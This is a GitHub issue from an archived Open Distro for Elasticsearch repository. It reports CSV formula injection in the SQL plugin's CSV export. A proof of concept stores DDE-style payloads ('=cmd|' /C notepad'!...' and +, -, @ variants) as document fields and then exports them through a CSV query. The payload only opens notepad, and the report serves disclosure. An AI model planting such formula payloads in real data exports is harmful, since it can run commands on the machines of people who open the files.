You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Aug 2, 2022. It is now read-only.
In CSV, a cell prefixed with "=" is treated as formula which could be executable. Attacker can upload document with this kind of field value to Elasticsearch. Victim downloads the CSV file and injected code may be executed after open.
PUT /userdata/user/1
{
"=cmd|' /C notepad'!_xlbgnm.A1": "+cmd|' /C notepad'!_xlbgnm.A1",
"-cmd|' /C notepad'!_xlbgnm.A1": "@cmd|' /C notepad'!_xlbgnm.A1"
}
POST /_opendistro/_sql?format=csv
{
"query" : "SELECT * FROM userdata"
}
The text was updated successfully, but these errors were encountered:
In CSV, a cell prefixed with "=" is treated as formula which could be executable. Attacker can upload document with this kind of field value to Elasticsearch. Victim downloads the CSV file and injected code may be executed after open.
The text was updated successfully, but these errors were encountered: